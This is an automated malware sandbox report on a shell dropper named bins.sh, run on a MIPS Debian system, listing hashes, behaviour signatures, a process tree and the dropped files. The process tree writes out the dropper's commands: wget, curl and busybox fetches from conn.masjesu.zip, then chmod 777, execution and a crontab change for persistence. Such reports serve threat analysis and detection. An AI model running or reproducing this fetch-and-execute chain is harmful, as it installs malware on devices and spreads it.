Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    04-11-2024 09:02

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    375c37669d1e33187f248b2924f88b06

  • SHA1

    b87d3b7340980dccd1db199139b87ca05ff4538d

  • SHA256

    8edc5e775a8be2836fa1d7f0f6e1ec16462e36605ec295579a4a2e7d49a2c3ce

  • SHA512

    3df30a93cd241f6a3aa15c0dfc0d7147edb6c17ba0e4d29617e0493def0a74cdd9f568714ba96a55f5a3b9583d1e71b09b6b1fbf46cda234f86ac77dd7af1721

  • SSDEEP

    96:YmWLLj/5LvDCL99fS6SySoH7+LvnjpO+2QMuU1V0ddNG2wnLeOMlFZKCVtL99nLc:kJCYTFuGr61

Malware Config

Signatures

  • Contacts a large (1657) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 16 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:718
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:726
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:728
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:746
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:749
        • /bin/chmod
          chmod 777 JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
          • File and Directory Permissions Modification
          PID:750
        • /tmp/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          ./JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
          • Executes dropped EXE
          PID:751
        • /bin/rm
          rm JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
            PID:753
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:754
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:755
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:757
          • /bin/chmod
            chmod 777 h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            2⤵
            • File and Directory Permissions Modification
            PID:760
          • /tmp/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            ./h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            2⤵
            • Executes dropped EXE
            PID:761
          • /bin/rm
            rm h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            2⤵
              PID:765
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:766
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:779
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:794
            • /bin/chmod
              chmod 777 MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              2⤵
              • File and Directory Permissions Modification
              PID:803
            • /tmp/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              ./MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              2⤵
              • Executes dropped EXE
              PID:804
            • /bin/rm
              rm MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              2⤵
                PID:807
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:809
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:816
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:838
              • /bin/chmod
                chmod 777 mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                2⤵
                • File and Directory Permissions Modification
                PID:844
              • /tmp/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                ./mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:846
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:848
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                      • Reads runtime system information
                      PID:849
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:851
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:852
                  • /bin/rm
                    rm mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                    2⤵
                      PID:860
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                      2⤵
                      • System Network Configuration Discovery
                      PID:863
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                      2⤵
                      • System Network Configuration Discovery
                      PID:864
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:945
                    • /bin/chmod
                      chmod 777 EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                      2⤵
                      • File and Directory Permissions Modification
                      PID:950
                    • /tmp/EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                      ./EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                      2⤵
                      • Executes dropped EXE
                      PID:951
                    • /bin/rm
                      rm EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                      2⤵
                        PID:953
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/xxHkoumbNZr86eyZBulOzNytEQfYKLiAu6
                        2⤵
                        • System Network Configuration Discovery
                        PID:954

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • /tmp/EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt

                      Filesize

                      151KB

                      MD5

                      6c583043d91c55aa470c08c87058e917

                      SHA1

                      abf65a5b9bba69980278ad09356e53de8bb89439

                      SHA256

                      2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                      SHA512

                      82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                    • /tmp/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt

                      Filesize

                      177KB

                      MD5

                      786d75a158fe731feca3880f436082c0

                      SHA1

                      79ea2734e43d00cdeabed5586b2c1994d02aef3e

                      SHA256

                      5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                      SHA512

                      7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                    • /tmp/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF

                      Filesize

                      127KB

                      MD5

                      89077b7bd4bcafca7713be43635c4862

                      SHA1

                      fc02edb8fba29ea8ee99e6157ef8560334530052

                      SHA256

                      78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                      SHA512

                      1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                    • /tmp/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE

                      Filesize

                      119KB

                      MD5

                      1b166b95f9cb4b079ef1b9ec8363ddf3

                      SHA1

                      0d8eb08add467b3b5474f9b25909297fe7c2839c

                      SHA256

                      94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                      SHA512

                      983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                    • /tmp/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW

                      Filesize

                      151KB

                      MD5

                      3c90d5820bddcf7c5d1bd21dfa49d958

                      SHA1

                      5ba05bd489e50af97d6dc45e3a0be60e494d5083

                      SHA256

                      bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                      SHA512

                      54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                    • /var/spool/cron/crontabs/tmp.L9q9QZ

                      Filesize

                      210B

                      MD5

                      d68ecec03821654bf7ca8c07f66b2756

                      SHA1

                      15257baa8d347d86a6db2ce5f7cdc6c6a42512ef

                      SHA256

                      b7730c754feb174ea14edf566a5b323e250848731a3fb569d39f5b567e51e8f2

                      SHA512

                      480d6d801589754884c53fe67eb870fc702bc81bac856ff48e426ab13c79149d7839df4b67c08b6a631f8c083d04330d52c7d4f2e80ff06c6bc47fdd1e5a3d64